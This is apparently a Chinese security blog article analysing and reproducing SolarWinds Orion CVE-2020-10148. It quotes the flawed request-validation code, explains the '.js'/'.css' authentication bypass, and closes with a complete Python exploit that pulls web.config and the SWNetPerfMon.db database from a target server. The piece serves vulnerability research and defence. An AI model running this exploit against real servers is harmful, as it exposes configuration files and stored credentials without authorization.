FireEye 红队失窃工具大揭秘之:分析复现SolarWinds RCE 0day (CVE-2020-10148) – 作者:奇安信代码卫士

前言

最近,全球领先的网络安全公司 FireEye 疑遭某 APT 组织的攻击,其大量政府客户的信息遭越权访问,且红队工具被盗。虽然目前尚不清楚这些红队工具将被如何处置,但FireEye 公司在 GitHub 上发布了一些应对措施。奇安信代码安全实验室将从技术角度,对 GitHub 仓库中的相关漏洞进行分析复现,希望能给读者带来一些启发,做好防御措施。

漏洞简介

SolarWinds Orion平台是一套负责系统监视和产品管理的基础架构,其中的SolarWinds Orion API主要负责SolarWinds Orion平台产品间的交互工作。

SolarWinds Orion 2020.2.1HF2、2019.4HF6之前的版本产品存在远程代码执行漏洞。具体来说,攻击者在访问链接中构造参数“.js”、“.css”等以便绕过权限验证,最终任意调用Orion API达到代码执行的目的。

受影响产品

SolarWinds Orion平台系列产品

受影响版本

Orion Version<2020.2.1HF2

Orion Version<2019.4HF6

修复版本

  • 2019.4 HF 6

  • 2020.2.1 HF 2

  • 2019.2 SUPERNOVA补丁

  • 2018.4 SUPERNOVA补丁

  • 2018.2 SUPERNOVA补丁

漏洞分析

分析SolarWinds Orion的URL请求验证代码,如下。

private static void OnRequest(object sender, EventArgs e)
		{
			HttpApplication httpApplication = (HttpApplication)sender;
			HttpContext context = httpApplication.Context;
			string path = context.Request.Path;
			# 如果请求的资源包含关键词“Skipi18n”,则会跳过用户权限验证限制,新建一个空用户
			if (path.IndexOf("Skipi18n", StringComparison.OrdinalIgnoreCase) >= 0)
			{
				if (context.User == null || !context.User.Identity.IsAuthenticated)
				{
					context.SkipAuthorization = true;
					context.User = new NullUser();
				}
				return;
			}
			# 如果请求的资源以".css"或“.js”结尾,则会跳过用户权限验证限制,新建一个空用户,并重定向到新页面
			if (path.EndsWith(".css", StringComparison.OrdinalIgnoreCase) || path.EndsWith(".js", StringComparison.OrdinalIgnoreCase))
			{
				if (context.User == null || !context.User.Identity.IsAuthenticated)
				{
					context.SkipAuthorization = true;
					context.User = new NullUser();
				}
				LocalizerHttpHandler.RedirectToMe(context, context.Request.Path);
				return;
			}

			# 如果请求的资源以".i18n.ashx”结尾,则会跳过用户权限验证限制,继续执行程序
			if (!path.EndsWith(".i18n.ashx"))
			{
				return;
			}
			string revisedFile = path.Substring(0, path.Length - ".i18n.ashx".Length);
			string path2 = i18nRedirector.RebuildPath(context.Request.QueryString, revisedFile);
			context.RewritePath(path2);
		}

        private static string RebuildPath(NameValueCollection nvc, string revisedFile)
		{
			return "/Orion/i18n.ashx?file=" + revisedFile + "&" + string.Join("&", (from x in nvc.AllKeys
			where x != "file"
			select x into key
			select string.Format("{0}={1}", HttpUtility.UrlEncode(key), HttpUtility.UrlEncode(nvc[key]))).ToArray<string>());
		}

分析可知,在对URL请求的验证方法 OnRequest 中,首先判别URL是否包含关键词“Skipi18n”:如是,则会跳过用户权限验证限制,并创建一个新用户,包含此关键词的数据包响应头信息如下。

图片[1]-FireEye 红队失窃工具大揭秘之:分析复现SolarWinds RCE 0day (CVE-2020-10148) – 作者:奇安信代码卫士-安全小百科

如上述判别结果不成立,则会继续判别URL中是否包含关键词“.css”或“.js”:如是,则跳过用户权限验证限制,创建一个新用户,并重定向到新页面,包含关键词 “.css”、“.js”的数据包响应头信息分别如下。

图片[2]-FireEye 红队失窃工具大揭秘之:分析复现SolarWinds RCE 0day (CVE-2020-10148) – 作者:奇安信代码卫士-安全小百科

图片[3]-FireEye 红队失窃工具大揭秘之:分析复现SolarWinds RCE 0day (CVE-2020-10148) – 作者:奇安信代码卫士-安全小百科

据图可知,响应信息中“Location”字段说明跳转的链接信息。因此,修改“Location”链接中“*.js”或“*.css”为指定目标,则会控制程序访问指定目标内容。

如上述判决结果不成立,则程序会继续判别URL是否包含“.i18n.ashx”,如是,则根据URL字段信息访问指定目标内容。可知,前述“Location”字段的链接信息符合此要求,我们可在它基础上构造URL控制程序访问目标文件内容,例如Web.config、数据库文件内容。

漏洞利用

我们寻找确定存在缺陷的目标服务器后,发送包含“.js”关键词的请求http://xxx/xxx.js,在响应包中获得“Location”信息,如下。

图片[4]-FireEye 红队失窃工具大揭秘之:分析复现SolarWinds RCE 0day (CVE-2020-10148) – 作者:奇安信代码卫士-安全小百科

在“Location”中链接 /xxx.js.i18n.ashx?l=en-us&v=43320,60 的基础上,修改 xxx.js 为目标文件,将其作为新的请求链接。

图片[5]-FireEye 红队失窃工具大揭秘之:分析复现SolarWinds RCE 0day (CVE-2020-10148) – 作者:奇安信代码卫士-安全小百科

获得目标服务器的 web.config 文件,便于分析网站配置信息,链接及响应内容如下。

图片[6]-FireEye 红队失窃工具大揭秘之:分析复现SolarWinds RCE 0day (CVE-2020-10148) – 作者:奇安信代码卫士-安全小百科

据图可知,我们已成功获取到系统配置信息。

获得目标服务器的 SWNetPerfMon.db 文件,便于分析数据库信息,链接和响应内容如下。

据图可知,我们已成功获取到系统的数据库账户等信息。

完整的POC脚本如下。

总结

本文分析SolarWinds Orion平台的远程代码执行漏洞,在漏洞利用过程中绕过权限验证获取系统关键信息;学习人员应注意提升代码分析和POC编写能力。

#/usr/local/bin/python3
import requests
import sys

if len(sys.argv) < 2:
    print ("[*] Usage : CVE-2020-10148.py http(s)://target")
    exit(-1)

if not(sys.argv[1].startswith("http://")):
    if not(sys.argv[1].startswith("https://")):
        print("[-] target starts either with http:// or https://")
        exit(-1)

print ("[*] Trying to leak valid file version")
target = sys.argv[1]

# appending .js to always invalid file 
# we don't verify because of self-signed instances 
# not really required but doesn't hurt either. 
leakVersion = requests.get(target+"/Orion/invalid.aspx.js" ,verify=False)

if(leakVersion.headers["location"]):
    print("[+] Got location header")
    index = leakVersion.headers["location"].index(".i18n.ashx")
    leakedVersion = (leakVersion.headers["location"][index:])
    if (leakedVersion.__contains__("v=")):
        print ("[+] Version seems valid")
    else:
        print("[-] Invalid version")
        exit(-1)
else:
    print("[-] Can't get a valid version")
    exit(-1)

print("[*] Trying to leak web.config file ")
print(target+"/web.config"+leakedVersion)
leakedConfig = requests.get(target+"/web.config"+leakedVersion, verify=False)
print(leakedConfig.status_code)
print(len(leakedConfig.text))

if (leakedConfig.status_code == 200) and len(leakedConfig.text) > 1 :
    print("[+] Target is vulnerable Got the web.config file ")
    # outputFile = target.replace("https://","").replace("http://","")+"_web.config"
    # configFile = open(outputFile,"w")
    # configFile.write(leakedConfig.text)
    # configFile.close()
    # print("[+] web.config written to : " + outputFile )
else:
    print("[-] Failed to download web.config target is not vulnerable")
    exit(-1)

 
print("[*] Trying to leak SWNetPerfMon.db file (works only on older versions of orion) ")
# https://support.solarwinds.com/SuccessCenter/s/article/Passwords-that-Orion-stores-locally-on-the-server?language=en_US
# C:\inetpub\SolarWinds\SWNetPerfMon.db
# C:\Program Files (x86)\SolarWinds\Orion\SWNetPerfMon.db

leakedDB = requests.get(target+"/SWNetPerfMon.db"+leakedVersion, verify=False)
print(target+"/SWNetPerfMon.db"+leakedVersion)
print(leakedDB.status_code)
print(len(leakedDB.text))
if (leakedDB.status_code == 200) and len(leakedDB.text) > 1:
    print("[+] Target is vulnerable Got the SWNetPerfMon.db file ")

    # outputFile = target.replace("https://","").replace("http://","")+"_SWNetPerfMon.db"
    # configFile = open(outputFile,"w")
    # configFile.write(leakedDB.text)
    # configFile.close()
    # # encrypted ? https://www.atredis.com/blog/2018/10/24/fun-with-the-solarwinds-orion-platform
    # print("[+] SWNetPerfMon.db written to : " + outputFile )
else:
    print("[-] Failed to download SWNetPerfMon.db target is on newer version")
    exit(-1)

参考文献

  • Stargazers · CVE-2020-10148.py

    https://gist.github.com/0xsha/75616ef6f24067c4fb5b320c5dfa4965/stargazers

  • SolarWinds Orion远程代码执行漏洞风险通告(CVE-2020-10148)-软件逆向-看雪论坛-安全社区|安全招聘|bbs.pediy.com

    https://bbs.pediy.com/thread-264770.htm

转载请注明“转自奇安信代码卫士 https://codesafe.qianxin.com”。

来源:freebuf.com 2020-12-31 17:18:45 by: 奇安信代码卫士

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论